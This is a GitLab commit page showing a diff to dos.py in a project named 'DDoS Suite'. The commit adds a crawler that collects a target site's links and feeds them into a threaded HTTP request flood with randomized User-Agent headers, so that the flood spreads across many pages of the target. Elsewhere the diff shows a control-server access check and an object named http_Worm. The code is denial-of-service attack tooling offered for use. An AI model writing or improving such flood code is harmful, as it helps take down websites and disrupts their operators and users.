Skip to content
GitLab
Explore
Sign in
Register
Primary navigation
Search or go to…
Project
D
DDoS Suite
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Package registry
Container Registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Issue analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
Hemanth VSR
DDoS Suite
Commits
5a03f001
Commit
5a03f001
authored
7 months ago
by
Hemanth VSR
Browse files
Options
Downloads
Patches
Plain Diff
random url fetching feature
parent
41eda7fc
No related branches found
Branches containing commit
No related tags found
No related merge requests found
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
dos.py
+28
-3
28 additions, 3 deletions
dos.py
with
28 additions
and
3 deletions
dos.py
+
28
−
3
View file @
5a03f001
...
...
@@ -8,7 +8,9 @@ try:
import
random
from
colorama
import
Fore
,
Back
,
Style
import
time
import
bs4
import
os
from
bs4
import
BeautifulSoup
import
subprocess
import
socket
import
json
...
...
@@ -513,7 +515,9 @@ class DoSuiteActivated():
def
request_flood
(
self
):
try
:
url
=
self
.
url
self
.
load_urls
(
self
.
url
)
i
=
0
thread
=
self
.
thread
while
i
<
thread
:
...
...
@@ -561,6 +565,7 @@ class DoSuiteActivated():
headers
=
{
'
User-Agent
'
:
random
.
choice
(
useragent_
)
}
url
=
random
.
choice
(
self
.
loaded_urls
)
t
=
self
.
time_in_milli
()
r
=
requests
.
get
(
url
,
headers
=
headers
)
z
=
self
.
time_in_milli
()
-
t
...
...
@@ -707,7 +712,7 @@ class DoSuiteActivated():
except
:
print
(
f
"
{
self
.
bold
}{
self
.
white
}
[
{
self
.
red
}
Alert
{
self
.
white
}
]: Sorry! the control server is down. Contact developers to know the reason
{
self
.
reset
}
"
)
exit
(
0
)
# 7 for access granted
if
data
[
'
Response
'
]
==
7
:
# print("Success")
...
...
@@ -757,8 +762,28 @@ class DoSuiteActivated():
print
(
f
"
{
self
.
bold
}{
self
.
white
}
[
{
self
.
red
}
OOPS!
{
self
.
white
}
]: Cannot calculate version!
{
self
.
reset
}
"
)
# add this exit() when release from beta to full public use
# exit(0)
"""
@return type none
Operation => This function will load all the url schema in a particular domain
"""
def
load_urls
(
self
,
url
):
r
=
requests
.
get
(
url
)
soup
=
bs4
.
BeautifulSoup
(
r
.
text
,
"
html.parser
"
)
jap
=
[]
for
link
in
soup
.
find_all
(
"
a
"
):
try
:
if
url
in
link
.
get
(
"
href
"
):
jap
.
append
(
link
.
get
(
"
href
"
))
except
:
continue
self
.
loaded_urls
=
jap
if
__name__
==
"
__main__
"
:
try
:
...
...
@@ -766,7 +791,7 @@ if __name__ == "__main__":
if
os
.
uname
().
sysname
==
"
Darwin
"
or
os
.
uname
().
sysname
==
"
darwin
"
or
sys
.
platform
==
"
Darwin
"
or
sys
.
platform
==
"
darwin
"
:
# add a parame
e
tr to determine the operating system
# add a paramet
e
r to determine the operating system
http_Worm
=
DoSuiteActivated
(
os
.
uname
().
release
,
"
Mac
"
,
"
Darwin
"
)
http_Worm
.
have_control
()
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment